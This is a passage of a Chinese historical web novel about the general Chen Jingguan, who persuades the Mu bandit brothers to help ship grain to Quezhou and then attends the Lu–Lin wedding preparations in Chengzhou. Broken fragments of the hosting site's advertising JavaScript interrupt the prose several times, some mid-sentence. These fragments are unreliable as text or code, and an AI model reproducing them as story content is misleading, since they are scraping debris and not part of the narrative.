穆晓山放弃了抵抗,任由几个士兵将自己绑了起来,临走时他看着席英,什么也没说,但眼睛里藏着三分敬意。 “他看起来,大不了你几岁,也都是世道害人。不过你刚刚那个动作,真的很快,很厉害。” 平海不会夸人,便只能用最直白的形容词来修饰自己的意思。他刚想拍拍席英的肩,却隔着那层布料感受到了血的温度。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“你受伤了?” 席英摇摇头,同时侧身避开了平海的动作,她调整了一下姿势,将手里的剑重新收入鞘中就打算离开。可她背后,已经绽开了一朵红花。 “不行,你必须包扎,师兄将你托付给我,我得照顾好你。” 平海伸手将席英拉住,可是又怕自己力气太大扯到她的伤口。 “我不用照顾。那是旧伤,刚刚太用力又渗血罢了,不用太在意。” 两个人都是闷葫芦,现在能说出这么多话已经算不容易。 席英作势要走,但平海用手钳住了她的腕子,叫来了随行军医来给席英包扎,而自己和兄弟们站在外围为席英挡着。 陈京观赶到时,席英已经被平海灌下去了一碗汤药,正一个人坐在石头上擦自己的剑。 “肩膀还好吗?不是让你先训练,平海怎么直接让你上了。” 陈京观一边和席英说话,一边在队伍里找平海的身影。 “你别训平大哥。我自己要去的,我动作快你见识过,做这个正合适。” 席英没有抬头,声音很轻,若不是陈京观仔细听,倒觉得她像是和她自己说话。 “哪儿来的剑?如今,南魏的军队不用剑了,铁匠铺都改打长刀了。” 陈京观朝董辉摆摆手,董辉便识趣地去和平海一起清点队伍的人数了,而陈京观示意席英自己想坐在她旁边,见女孩没说话,就撩起袍子坐了下来。 “来的路上我回了趟家,房子没了,但是里面东西还在,我刨出来的,我父亲以前的佩剑。” 说罢,席英把放在膝盖上,剑柄处有几道划痕,但整个剑身被人爱惜得很好,看得出来剑主人以前用得很仔细。 “他惯使剑,我便从小练的都是剑。平大哥想给我配一把刀,但我用不惯,就想着回去碰碰运气,还好,它还在。” 陈京观抿着嘴,看着女孩有些发怔。 “你其实不恨他,更多的,是有些不甘心。” 这次席英没有逃避,她轻轻点了点头,然后用手抚过剑柄上的刻字。 那个字是“甘”,陈京观还是看到了。 “大家都说北梁连女子都要上战场,可是他们没有意识到,北梁的女子都可以上战场。即使是军户家的女儿,也有的选。可南魏,只要是女儿身,就只有到了年龄嫁人的命。” 席英将剑收回剑鞘了,调整了一下自己的系腰,然后接过了陈京观递来的外衣,轻声道了句“谢谢”,准备起身离开。 “所以我对你的感谢,不只是你救了我的命,更是你给了我选择的权利。” 说罢,席英朝着大部队的方向走去,留下陈京观一个人坐在石头上。 席英的话,是陈京观以前从未想到的。 他厌恶战争,于是帮助董辉逃离军户的束缚,但是军户对于北梁的女子来说,也是她们唯一可以为自己谋的一条出路。 “战争,到底是什么?” 10. 相逢敬安(四) 此刻的审讯司中,身着常服的陆栖野从各种刑具中挑了一个看上去还可以的,拿在手上比比划划,然后迈步走到了正在打颤穆晓山面前。 “我的烙铁还没落在你身上呢,你就怕成这样了,那你怎么敢上山做匪寇的?” 陆栖野看着眼前的人,看上去和自己差不多大。他双手被束在架子上,已经被麻绳勒出了血色,脸上涕泪纵横。 “你们北梁人的手段我见识过,要杀要剐你随便来,但是你别想着让我把粮交出来去养阙州那群酒囊饭袋!” 穆晓山一边哭,一边咬牙切齿地瞪着陆栖野。 当时陆晁打进汝州的时候,他也不过刚五六岁,两个哥哥抱着他一路沿江边走,后面的大火熏得半边天都黑了。 具体怎么走到廊州的他不记得了,他只知道哥哥说家没了。 “可你们如今在路上劫道,又断了多少人的生计?” 穆晓山不说话了,但是还是继续哭。陆栖野知道他是害怕的,但是他不会轻易出卖自己的哥哥们。 “你还小,没必要一条路走到黑。今日我们会在半途截你,就是想让你回去劝你哥哥投降。你们不害人,也算是义匪了,不到万不得已我们不会直接出兵。可一旦我们出兵,你们这群流寇,能扛几时?” “可萧霖都能见死不救!我们为何不能!” 陆栖野话音刚落,穆晓山就咆哮着哭喊道。 对于一个十四岁的人来说,他差点两次因为高堂的决断而丧了命,他要怪,陆栖野也说不出什么。 “可你要与他一样吗?” 陆栖野闻言,转身就看到了陈京观。他刚急匆匆回了平远军驻地,陆栖野还以为出了什么事,如今看他又是一脸淡然的开口,也就安了心。 “廊州的粮,是广梁的粮,而如今广梁的人,是靠陆家的粮活着。北梁灭了东亭,那是上位者的裁决,可你不该觉得北梁人都欠你一条命。” 陈京观说完便坐在了审讯司角落里的一把椅子上,不再言语。 “难道我们的命就不是命吗?他们在皇椅上动动嘴,就是许多人的家破人亡;他们觉得他们有后路,就放水淹了广梁。可我们做错了什么?” 陆栖野就听着穆晓山哭诉,什么也没说。 他记得父亲接到领兵攻打东亭时一夜未眠,第二日很早就去庙里为自己求了菩提,然后领兵出征,整整三年未归,拿下了内部早就腐坏的东亭。 他问过父亲为何一定要打仗,父亲顿了很久,才告诉自己:我们是军人,要服从命令。而北梁全境在内陆,贸易和水源都有限制。 东亭皇室的谬乱,又给了他们自己最后一击。 可这些说给穆晓山没有意义,任何原因都不过是侵略的借口。 “报,穆家另外两个领了兵快到平远军驻地了!” 门口昌安军的哨兵冲进来给长官报信,穆晓山眼睛一下就亮了,可只一瞬,又暗了下去。 “我哥哥打不过你们。” 走到门口的陈京观回头看了眼穆晓山,没有回复他的话,而是示意陆栖野先去外面看看情况。 “我也不想要你们的命。” 说完,陈京观拿出腰间的匕首斩断了穆晓山腕子上的束缚,让两个在旁边候着的士兵架着他走出了审讯司。 “陈京观!你把我弟弟还给我了!你就是道貌岸然的小人,面子功夫做得好,亏我还放过了你昌用的马车,早知道我应该一视同仁!” 陈京观还没看到人,就听到远处骑在马上的汉子大声朝自己宣泄着不满,他们人数远在平远军之下,可是他们依旧敢来。 “多谢穆兄的高抬贵手,不然雍州的百姓也吃不上碗里的粮。” 陈京观抬手朝穆远山行礼,几个卫兵拿着刀拦在了陈京观和穆氏兄弟中间。 “你把晓山放了,不然我烂命一条,拉你这个新上任的狗将军一同去死。” 穆远山虽是东亭人,但是外形魁梧,如今披着发,穿着狐皮,倒有西芥人的感觉。 “晓山兄弟并不是我主动抓的,何来放他一说。他偷袭我的军队不成,反被擒,与我何干?” 穆远山的嘴没有陈京观这般伶俐,他翻身下马就朝着陈京观走来,跟在后面的兄弟也一同涌了上来。 “你不用在这里巧舌如簧,把我弟弟放了,我们井水不犯河水,我做我的山大王,你做你的大将军,以后看到我穆氏旗帜绕着走,别再让我撞上!” 穆远山因为愤怒涨红了脸,手上的刀跃跃欲试,而在队伍的中间,有一个人始终没动。 “那是云山兄弟吧,我见你不为所动,是觉得我说的有理?” 陈京观偏过头朝穆云山喊去,马上的人和穆远山长得很像,但相比于他兄长,他更清瘦些。 穆云山没有应陈京观的话,但他骑着马朝队伍前头走了过来。 “我只想问你一件事,你为什么去帮萧霖为虎作伥?” 听了穆云山的话,陈京观笑出了声,他故作思索的样子,也朝穆云山走了几步。 “为虎作伥?我是受了将军令,也接受了他帮我修建雍州演兵场,除此之外,我与他之间还发生过什么吗?” “现在没有,不代表以后没有。你以私兵救水患,我们都敬你是英雄,可你千里迢迢跑到阙州,就为了受狗皇帝的诏令,然后来为他运粮?我不明白。” 穆云山的话正中了陈京观之前所担忧的地方。 他如今没有回过雍州,可他觉得广梁应该也有不少百姓是如此想自己的,可能于他们而言,自己是在拿他们的命换自己的仕途。 “我之所以去阙州讨一个官位,是想要名正言顺做我想做的事。世人看一个问题,多是从自己的角度出发,我救了广梁的百姓,他们便认我是好人。可我去阙州时,一个老人就站在城门口,我知道他是在等我,他说没粮的年过很难熬。那一刻我真恨自己因为与萧霖斗气而在路上耽误了那么久。” 陈京观说着,又想到那日阙州城中寥寥的景象。 “南魏皇室多被诟病,可他们依旧掌着这个国家的命脉。如你三人般的乱世枭雄,史上多是昙花一现。人们惋惜,却不会觉得你们的消亡有何问题,这是正统思想的根深蒂固。我今日甘愿屈居人下,是为了借正统的名,行侠义之事。” 这个“名”,也在于陈京观要让萧霖当着天下人的面承认自己的父亲无罪。 “各位何以上山为寇,我陈京观明白,所以不想大兵压境。可今日,廊州的粮我一定会送出去,我不能让阙州百姓饿着肚子过年。” 听完陈京观的陈词,穆云山示意身边的人扶自己下马,这时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 陈京观才注意到他似乎在行动上有不便。 “我穆氏兄弟,为的就是一个安稳日子,东亭给不了,南魏也给不了,我们便要自己去挣。如今做了山上的匪寇,也只是下策之选。我敬您,也愿意信您,你将晓山送回来,我们给你们让路。” 说罢,穆云山便想要向陈京观行礼,后者示意身前的侍卫去扶,却被穆云山谢绝了。 “我穆云山小时候生病落下残疾,这辈子本也没什么指望了,是我提议上山为寇,哥哥和晓山不过是被我说服。我恳请少将军留他们一条命。” 穆云山说完,就跪在地上给陈京观磕了一个头,穆远山见状,要上去扶弟弟,却被穆云山推开了。 “我们兄弟三个八年前就该死了,能活到今日,也是老天眷顾。我此番上山,我不后悔,少将军你做了你能做的,我们也是。” 穆远山见弟弟已经做好了赴死的准备,眼里慢慢蓄满了泪,他也跟着跪到了地上,等着陈京观下一步发落。 但意料中的惩治没有出现,甚至连斥责都没有,穆云山感觉到自己的肩膀被人扶住,那人哭得说不出话,他抬眼,是弟弟穆晓山。 “哥,我们生死都要在一起。” 三兄弟都外形高大健硕,现如今哭作一团,看上去竟还有些诙谐。而跟在他们后面的人见状,也都放下了手里武器,跪在地上任凭陈京观发落。 “谁说我要你们的命了,我若想要打早就直接打了,兜这么大圈子做甚。” 陈京观叹了一口气,看着眼前跪倒的众人,有些无言以对。 “你们仨收拾收拾,帮着把粮送上阙州来的商船,然后跟着去把粮发到每个百姓手里,免得你们再怀疑我和萧霖沆瀣一气。你们跟着商船进去,不用官令,之后要想留在阙州呢,就自己找个事干。要是想回来,去平海那记下姓名,以后就是平远军的人。” 陈京观连夜骑着马赶回来,现如今日头正盛,照在身上暖烘烘的,他倒还有些犯困。他用手扶了扶脖颈,看地上的三人还是没什么动静。 “怎么?非要今日把命留在这?” 三人本来还在为陈京观突如其来的安排发怔,听到他的反问,立刻从地上站了起来。 “三个挺大的人,一个比一个爱哭,真不知道你们怎么能上了敬安山的。” 陈京观嘴里自言自语道,随后便转身没有再理会三个人劫后余生的欣喜。 相较于这三个人所做的事,他只觉得这些人甚是可爱,也很敬佩这些人的勇气,同时,他庆幸自己没有与他们拔刀相向。 “栖野,你说一个心里满是怯懦的人,怎么就敢逞英雄呢?” 陆栖野跟在陈京观身边,被突然的发问问得有些发懵。 这其实是他第一次在现场看到陈京观解决了一个棘手的事情,以他的方式,不流血地让人心服口服。 他之前质疑过陈京观的行事方法,他觉得陈京观道德感太高,总是寄希望于感化那些人,而武将出身的他,觉得最好的方式就是用武力让对方臣服。 可今天,当陈京观谈起那个城门外的老人时,他突然理解了他。 一个幼年经历了丧亲之殇的人,他其实不在乎生与死了,他只是想让该活着的人,都好好活着。 “或许因为他心里,还有在乎的东西。” 11. 陆林之好(一) 日将西沉,但廊州街头依旧忙忙碌碌。 平远军上山帮助山上的百姓搬家,索性人来得多,到日暮时分也几乎都撤到了山下,百姓留他们在家吃饭,陈京观也没说什么。而穆氏兄弟领了陈京观的命令,四散在各处帮助阙州派来的商船运粮。 其实他们很早就听说廊州藏着一个粮仓,可派出去的人无一例外都没有打听到有关粮仓的具体位置。 时至今日,他们才在敬安山脚下的一个布坊里看到了满仓的粮食。 “在布坊里储粮,亏他想得出来。” 穆云山腿上有伤,便在布坊门口负责组织,他看着进进出出的人,大致可以算得出里面存粮的数目。 廊州因处在敬安山脚下,很少受到冷空气的袭击,而海拔低,又给他们带来了潮湿的气候。布坊为了防止受潮,往往会加盖防潮层,在这样的环境下,布坊刚好就成了廊州最适宜存粮的地方。 “哥,里面的东西不多了,这我盯着,你先去休息会?” 穆远山在码头上看着装货,穆晓山就跟着二哥来了粮仓。 此时的他眼睛还肿着,手上的印子陈京观给涂了药,消下去了些,可反复抬拿麻袋,又让血渗了出来。 “我在这等你,免得你毛手毛脚,等下搬完所有货,咱们跟着送货的马车直接去码头。” 穆晓山点点头,但还没进门,又转过身问:“不去给陈大哥道别吗?” 穆云山没有回答,示意穆晓山先去搬粮。说实话,他自己心中也在犹豫。 此人行事没有逻辑,也不像传言所说的心软。他设计抓了穆晓山,却只是让他吃了些不痛不痒的苦头;他也没拿弟弟来做要挟,也没派兵攻上敬安山。 可是他所说的话,穆云山都相信。 因为他从他眼里看到了与自己一样的不甘心。 这份不甘心支撑他拖着病躯活到现在,让他作出上山为寇的决定,而他也愿意相信同样出于不甘心的陈京观。 “哥,里面空了,咱走吧。” 穆晓山将肩上的粮袋子放在马车上,又给哥哥拿了个垫脚,扶着穆云山坐上去,自己则跑到队伍前头骑在马上。 “哥,咱还回来吗?那可是阙州,多少人挤破头都挤不进去。” 穆晓山侧过头朝哥哥喊道,而穆云山没搭话,自顾自地捶着腿。 今晚的夜色很美,北边下了雪,南边却是玫瑰云,夕阳的残晖照在自己身上,穆云山感受到了久违的暖意。他停下了手上的动作,斜靠在粮袋子上。 他想睡一会,然后做一场梦。 马队的速度不疾不徐,穆晓山驾着马,一路上还和队伍里新认识的小孩聊着天,他们应是同龄,小孩羡慕他做过英雄,穆晓山则羡慕他回家有娘做的饽托。 后来穆远山叫醒了穆云山,他们本想与陈京观告别,却不知道该说些什么,于是朝着雍州的方向远远举了一躬,便径直上了船。 而他们不知道的是,在能看到码头的酒楼二楼,陈京观一直盯着他们所在的方向。 “不放心就去送送,在这看管什么用?” 陆栖野将陈京观杯子里的酒斟满,又给自己也倒上一杯,他顺着陈京观目光所在方向看去,那艘建制华丽的庞然大物已经开始慢慢向前航行。粗算时日,十天就能到阙州。 那日,刚好是万阳十七年的最后一天。 “没事,还会再见的。” 陈京观收回目光,盯着桌前的酒杯。这是陆栖野临走时特意快马回家取来的桂花酿,说是庆祝他又完成了一件大事。 “你确定他们会回来?那可是你们南魏的都城。” 陆栖野仰着头一饮而尽,又吩咐小二端上了时令的凉拌苜蓿和五香牛肉。 他回家时父兄还在军营,他便让晏离鸿传话说自己跟着陈京观去廊州三日。 “嗯。” 陈京观没有过多解释,拿筷子夹起桌上的菜。 北梁的粮一个月前就送到了,大家的日子也都慢慢恢复了水患之前的模样。 这是今年最后一茬苜蓿,根茎处已经有些老了,不过这次是油炝过的,沾了满满的油香。 “下酒还是该配沙葱,不过如今北梁也很少见了,等过几日哥哥大婚,你来了澄州便能吃到了。” 陆栖野一边品味着嘴里的菜,一边微微皱着眉头。倒是他对面的陈京观停下了手里的筷子,有些若有所思。 “陆小将军大婚?” 陆栖野听出了陈京观嘴里的疑惑,可这倒也让他有些不解。 “你没收到我寄给你的请帖?我记得我一个月前就寄到雍州了,怎么……诶呀!” 陆栖野一拍脑袋,满脸懊恼,倒是陈京观看到他这副样子,不禁失笑。 “也是我的问题,我未与你言明我直接来平州,不过如今还有些时日,还能着手备礼。” 陈京观用手揉了揉自己的脖颈,关节处的酸涩已经有几天了。最近多半在路上赶着,晚上也最多小憩一两个时辰,现如今粮上了船,倒是能好好休息了。 “陆小将军是和哪家的姑娘?” “林相长女林朝槿,他们是青梅竹马。”陆栖野提到哥哥的婚事,脸上的笑意都快满溢了,“朝槿姐姐那可是长宁街上远近闻名的窈窕,不过我哥也不差。” 陈京观点点头,夹了一片碟子里的牛肉。 北梁丞相,林均许,他见过此人。 当时父亲宴请曾经的同门,其他人都到了,可父亲依旧在门口候着,临近日落,一辆马车才停在陈府门口。 那时候陈京观四岁,还由母亲温润抱着,他和母亲陪父亲在风里等,刚见到林均许的时候还闹了脾气。 但是林均许与陈频不同,他性子慢,做什么都很和煦,他看着陈京观耍性子,也不恼,只是从温润手里接过他,满脸笑意地将怀里的饴糖给了陈京观。 “叔叔家还有个姐姐,她最爱吃这个了。” 这是林均许对陈京观说的第一句话,现在想来,他说的便是林朝槿。 “仪式在澄州办?” 陆栖野点点头,招呼小二来买单,临走时一口饮尽了杯中的酒。 “走吧,我与父亲告假三日,你不得尽地主之谊带我去你的地盘逛逛?” 夜晚的廊州比雍州热闹许多,雍州因接壤西芥,实行宵禁,到了晚饭后路上的人就慢慢少了,可是廊州的夜晚,才是大家出来欢乐的日子。 东亭灭国后,萧霖向崇州派了驻兵,东亭的人因为是迁户的缘故,在那里的日子并不好过,便渐渐都走到了廊州。 而廊州本来是南魏人数最少的州县,大量东亭人的进入为此地带来了丰富的商贸机会和劳动力,廊州本地人对此并不排斥,大家便其乐融融地生活在了一起。 东亭的夜市模式,也一以贯之的复刻到了廊州。 “廊州天气适宜,百姓淳朴,真如地方志里记载的一般。从这儿,我倒真能看出书上所谓的‘南魏遗风’”。 陆栖野一边感叹,一边在路过的摊子上挑选香囊。 “你怎么还会喜欢女儿家的东西?怎么,你也有喜欢的人了?” 陈京观看陆栖野挑得认真,不禁打趣道。 “不是给我的,是给晏离鸿的。他喜欢在身上戴些小玩意,他平日总是穿得像个死人,我给他选个鲜艳一点的,让他增点生气。” 陈京观无奈地摆了摆头。 廊州因为潮湿,花草树木都长得很好,东亭的刺绣兴起后,街上多有这样的香包在卖。 “你不是与他不对付嘛?” 陆栖野撇了撇嘴,拿挑好的香包给店家示意,然后拿出银子付了账。 “也不是不对付,就是莫名多了个哥哥,总觉得怪怪的。” 陆栖野将香包收好,闻了闻还留存在手上的香气。 “我九岁时父亲接他回家,父亲与母亲谈了一夜,第二日他就成了我哥哥。他说他没名字,就连名字都是父亲为他起的。家中原有兄长,兄长从小就勤奋,也比我聪明,如今又多了晏离鸿,我在家中,更像是永远长不大的孩子。可我如今也十七了。” 陆栖野很少说起自己小时候的事,陈京观望着他,也看到了他眼底的落寞。 “栖野,和我说说你的故事吧,三年 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || 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“林姐姐可不是一般女子,善棋,写得一手好字,马上功夫也不落人后,所学诗书都是同我们一起。而今她似乎在创办什么学堂,旨在让军户体制下的孤儿有个栖身之所。” 陈京观听着,对林朝槿越发好奇。 “她如今年方几许?” 说到这个,陆栖野脸上倒是有些愧疚的神色。 “哥哥前些年四处随着父亲戍边,林姐姐就一直等着,如今也二十一了。这不是因为沁格封了木尔斯草原,西北也就安定下来了,哥哥才撤兵回到平州。两家一商议,就立刻定了婚事。不过林姐姐也不是空等着哥哥,她的学堂这几年声名鹊起,大家都称她‘槿公子’。” 原来她就是‘槿公子’。 陈京观对于这个名字早有耳闻,当时他频繁出入平州募兵,在茶摊总能听到这个名字,最初他以为是什么高中榜首的新晋红人,如今才知道是林朝槿。 澄州临近禹州陆家马场的地方,在万阳五年起了一座楼,旁人以为是澄州新贵建了新宅子,可等楼建好,上面却写着“槿栖堂”。 随后就是陆府出面将昌安营所有登记在册的孤儿养在了槿栖堂,每日有先生教他们念书,他们的衣食住行都由槿栖堂负责。 而书院的负责人,却始终未曾露面,只留下了“槿公子”的名号。 “我明白她喜欢什么了。” 陆栖野不明所以的看着陈京观,而后者只是故弄玄虚的一笑,然后将他赶到了自己的卧房休息。 陆栖野走后,陈京观托邮差快马加鞭将信送到了雍州。 “久闻大名,槿公子。” 12. 陆林之好(二) 十五日后,正值年中,南魏都城的人流随着商船陆续卸货而热闹了起来,依稀可见往日盛京的风采,少将军陈京观的名号也随之从广梁扩散到了南魏各处。 与阙州相呼应的北梁澄州,则是红灯笼挂满了整个长宁街,稍大些的门脸都配合着绑上了绣球,贴上了喜字。 当朝宰相嫁女儿,少年将军娶美妻,可谓是喜上加喜。 虽说这门婚事敲定的有些仓促,可两家人都拿出了最大的诚意来为新人装点,皇宫里更是宣了旨意,大婚之日摆长街宴,规格与占领济州之日一样。 如今澄州城中人无人不知无人不晓,初六之日,陆林之好。 而陈京观推脱了南魏皇帝所设的庆典,和陆栖野三日前就来了澄州,这几日帮着陆栖野收拾家里,也赶着裁缝铺修改婚服。 陆家在澄州的宅子相比在平州的要小些,但设计得却更为精巧,里面的造景是皇帝派工部的人修的,与御花园的样子交相呼应,里面的陈设也多是黄花梨木,可见北梁皇帝对陆家的重视。 “婚服送过去了?朝槿可还满意?” 陈京观第一次陆栖川如此小心翼翼,他抓住刚派去林家的小厮,又是问婚服,又是问状态,若不是大婚前新人不得见,他恐怕要将林家的门槛踏破了。 “都合适都合适,林姑娘很喜欢,她还托我给公子穿个口信,一切安好,只待明日。” 小厮被陆栖川问得在原地站了半刻钟,最后还是拿林朝槿的口信救了自己。 得到了口信的陆栖川还是坐立不安,他昨夜就睡了两个时辰,婚服试了一遍又一遍,明日要骑的马也拉出来又跑了一圈,就连明日请帖上的名字都对了一遍。 陆栖野嘲笑他跟着父亲去打仗时都没有这般紧张,他也只是低头笑了笑,然后继续想还有什么没做周到的地方。 “你说我哥堂堂昌安军少将军,竟让一场婚事吓成了这样。” 陆栖野去小厨房清点了一遍明日要用的菜,出门刚好撞上从门外采买回来陈京观。 “人生大事,谨慎些自然是好的。况且你哥哥,想了很久吧。” 陈京观把手里刚买来的鞭炮交给迎上来的下人,由陆栖野带着去了偏殿。 “他当日封将军,皇上问他心中所愿,他一愿家国安定,二愿父母康健,这第三愿,就是早日娶林朝槿入门。只是那时候林姐姐刚十四,还没到说亲的年纪,谁知道一晃就是七年。” 两人在偏殿聊着,恰好还能看到正堂里坐立不安的陆栖川。 少时初入昌安营,就跟着父亲去攻打东亭。几年下来,身上多了几道伤疤,人也沉稳了不少。 可是陆栖野知道哥哥这几年过得并不如意,父亲还掌着昌安军权,他虽封将军,却资历尚浅。 若说陆栖野愁的是报国无门,那陆栖川怕的就是才不配位。 “有情又岂在朝朝暮暮。明日礼成,万事大吉。” 陆栖野顺着陈京观的话点头,像是忽然想到了什么,拉着陈京观就往外跑。 “怎么了?” 陈京观被陆栖野拽着袖子,而身边地人跑得上气不接下气。 “父亲……父亲交代我明日姑姑要来,要去迎春楼给她买玫瑰酥。” 陆栖野嘴里气还没喘匀,也顾不得回头,一边跑一边说道。 “为何如此匆忙?糕点不该时刻都有吗?” 陈京观有些费解,可前面的人不再理会自己,他也只好跟着他往前跑。 迎春楼在长宁街的永庆坊,是北梁的老牌糕点铺子,原本不喜甜食的北梁人很少食用糕点。但几年前迎春楼新来的掌柜请了东亭的厨子,他们研究着改了配料,多添加一些自然植物做增香,保留了草本的香,又有糕点的酥,一时间盛名甚至传入了宫中。 而迎春楼的玫瑰酥,也就成了当朝皇后陆韶怜最喜欢的糕点。 “迎春楼揽客的把戏,每日限购三十份,午后开售,平日里就是皇上要,也得提前一日订或者派人排队来买。” 说话间,二人跑到了迎春楼下,那里悬着牌子:玫瑰酥,一刻钟后开售。 “如此做买卖,北梁皇帝也准许?” 陈京观对此觉得有些惊奇,但是陆栖野倒是不以为然,跟在了那几个早就排着的人后面。 “皇上只觉得新奇,还夸过迎春楼的掌柜好手段。平日姑姑要吃的时候就提前吩咐内侍去订,并不想有所不同。” 陈京观闻言也只是明了的点点头,他从陆栖野这向前望去,看到前面还排着七八个人,看上去都是达官家的下人模样。 “所以你也就亲自跑来买了?你吩咐下人不就好。” 听了陈京观的话,陆栖野脸上出现了一丝狡黠。 “没想到你也有疏漏。我们不常在澄州住,故而府中没请几个人。如今大家都忙着哥哥婚房的布置,很难找到得空的人了,我闲着也是闲着。再说了,万一下人没办好,父亲的责罚是小,姑姑那可是暴脾气。” 谈起自己这位做皇后的姑姑,陆栖野脸上具像化的展现出了又爱又怕。 “陆皇后,是个怎样的人?” 陈京观一边说,一边还在观察,看到迎春楼门口已经有商家开始在外面摆桌子了,便示意陆栖野注意些。 “姑姑……是个奇女子。”陆栖野见陈京观想笑,连忙解释道,“这是父亲说的,我可不敢如此议论她。从我记事起,她就是皇后了,但是父亲与我讲起她的时候,很少提及她是皇后的事情。他常唤她怜儿,说她作为军户家的女儿,不愿意草草嫁人,便入了军营。之后北梁谋划攻打东亭,是她领了昌安营一支冲锋队直取益州府衙,打开了东亭的国门。” 听着陆栖野的描述,陈京观大致在脑海里描绘出了如此这般的巾帼英雄,但是总觉得还差点什么。 “那她为何最后嫁给了皇上?” 陈京观刚问完,排着的队伍就朝前动了起来,一个打扮矜贵的年轻男子站在迎春楼外,他身上的狐裘看起来价格不菲,他长得不似北梁人高大,但是五官甚是精致。 “皇上求了很久呢。” 陆栖野压低声音,笑得眉眼弯弯,他用手掩着嘴,继续说道:“姑姑性子烈,本来打算与父亲一同成为昌安营的将军,可皇上很欣赏她,多次求娶,部队打到济州后,更是为她在都定口画了一副相,那副相至今还在皇上的书房里。” 陈京观有些了然了。君子好逑,又应着皇恩浩荡与父母之命,最后这世间就少了一位陆将军,多了一位陆皇后。 “不过姑姑还管着陆家马场,她说自己闲不下来,也无心操持后宫那些恩恩怨怨,平日没事,都在禹州行宫看护马场。” 陆栖野一边说着,一边向前数着人数。前面的三四个人买的不多,现如今还剩下小二十盒,估摸着是能买到的。 “与你陆家有关的女子,还真都是传奇。” 陈京观打趣着,可是心里却想到席英说的那番话。 乱世能造英雄,而这英雄,又何尝不会出自巾帼。 可还没等陈京观回过神,身边的陆栖野已经和前面的人吵嚷起来了。 “不是,你一个人拿十五盒?这玫瑰酥最多放两日,你们家多大的胃口?” 陆栖野脸上一边写着不解,一边写着郁闷,心想父亲交代给自己的小事若是都做不好,升千户的事情更是遥遥无期了。 “你管这些做甚,他迎春楼又没说没人只能拿一盒,我有钱!” 眼前的人满脸嚣张,一手提着四盒玫瑰酥,叫嚣着想从陆栖野和陈京观中间穿过去。 “那你行行好,我出双倍买你一盒总可以吧?” 陆栖野不想将此事闹大,悄悄拉过此人的衣袖,可没等陆栖野把话说完,那人就甩开了陆栖野的手,唾沫横飞地开始斥责陆栖野。 本来队伍后面的人还弄清楚状况,如今看清了,也纷纷加入陆栖野的阵营,将那人团团围住,你一嘴我一嘴地和那人辩驳,场面颇有舌战群儒的滑稽。 “诸位!诸位稍安勿躁!” 还没等陈京观说话,那个站在迎春楼门脸旁的男子就开了口。陈京观示意陆栖野往人群后面退一退,免得等下场面失控。 “我是迎春楼的掌柜,各位有什么诉求都可以与我说,不要在这街上闹开来。新春时节,大家都喜乐安康才是最重要的。” 那男子的声音不轻不重,刚好能让在场的人都听到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,他的话说的也很有水平,一句祝福已经消了多半人的脾气。 “掌柜的,你迎春楼可没限制每人能买多少,我家来了远方的朋友,想多买几盒给大家都尝尝,有何不可?” 站在人群中间的那人一见那男子的面,就笑脸盈盈地从人堆里窜了出去,挤在男子面前,装作一脸委屈的样子。 “这位客官刚才的话我都听到了,我迎春楼的确没有限制每人可买数量,但是,”那男子顿了顿,脸上的笑容却没有丝毫变化,“你并不是正经来我这里买糕点的食客。等你出了永康坊,就会去隔壁的街市用散装的方式混上你自己做的糕点,以高于我三倍的价格在市场上卖。” 男子此番话一处,那人的嚣张气焰荡然无存,随后男子身后出来几个迎春楼的伙计,将那人手上的食盒全部夺了过去,又架起那人往县衙走去。 “我江某今日给各位客官赔不是,是我店内经营不善,才导致这样的人钻了空子,我也刚好趁此机会宣布我迎春楼的新规矩。从明日起,迎春楼玫瑰酥每日每人限购三盒,但是将每日数量提升至五十盒。今日排队的客官,每人每盒可享受减免一两银子的优惠。” 那男子此话一出,围观的人都开始高声喝彩。他重新将食盒分开,然后疏散了围观的人,迎春楼外的队伍又排了起来。 而后,陈京观看到那男子朝自己微微鞠了一躬,接着就示意随从拿着两盒玫瑰酥向自己走来。 “在下江阮,迎春楼掌柜,见过少将军和陆家二公子。刚才因鄙人的过失让陆二公子受辱,实属是本人的罪过,还请陆二公子收下这两盒玫瑰酥,权当江某赔礼。” 眼前的人走近了,陈京观才发觉自己刚才对他的评价还不算贴切。 他是很典型的东亭长相,媚而不娇,眉眼间少了几分英气,却有几分柔美,是个生得极好看的人。 “江掌柜言重了,我陆栖野还没有那么小心眼。这两盒玫瑰酥我收下了,但是钱还是一文不少要给。我算你家常客,若江掌柜不收,我以后也不敢来了。” 陆栖野接过江阮递来的食盒,从腰包掏出十两银子,可后者只从他手中取走了八两。 “既然陆二公子执意要付钱,江某自然乐意,只是应要一视同仁,八两足矣。” 说罢,江阮微微朝陆栖野点头以表告辞,转身向迎春楼的方向走去。 “江阮……此人不简单。” 陆栖野看着手中的食盒,又看了看还挂着笑招呼门前食客的江阮,侧过身子对陈京观使了使眼色。 “小小年纪能在长宁街开铺子,还能将事情处理的如此妥帖,将话说的如此圆满,是不简单。” 陈京观微微叹了一口气,但是很快又换上微笑的表情,拍了拍陆栖野的肩。 “走吧,方夫人派人来寻你了。” 陆栖野朝陈京观所指的方向看去,正是大哥的随从迷津,他好像也看到了二人,一路小跑朝他们所在的方向过来。 “二公子,夫人回家没看到你,听说迎春楼有人闹事,您没事吧?” 迷津接过了陆栖野手里的东西,将陆栖野浑身上下打量了个遍,看他无虞才松了一口气。 “我都十七了,也在昌安营待了三年,难不成还能让街上随便什么人打了?” 陆栖野无奈的抚了抚紧皱的眉头,但他知道迷津与母亲都是好意,也没再多说什么。但他一路朝家的方向走,心里的疑虑却越来越清晰。 “京观,你觉不觉得刚才的闹剧,像是一出戏,一出演给我们的戏?” 陈京观撇了撇嘴角,用手敲了一下陆栖野的头。 “挺聪明的。你往日也多是自己去迎春楼买东西吧,却从未遇到过江阮。而他上来不仅道出了你的名字,更是连我是谁都一清二楚,我想着我的名号也不过刚传遍南魏,倒还不至于传到你北梁的都城。” 经过陈京观一番分析,陆栖野心里突然萌生出一个想法。 “他是奔着你来的?” 陈京观笑而不语,只是又回头望了望迎春楼的方向,那里的玫瑰酥卖完了,门口又恢复如常,只是立在门口的身影却也注视着他们。 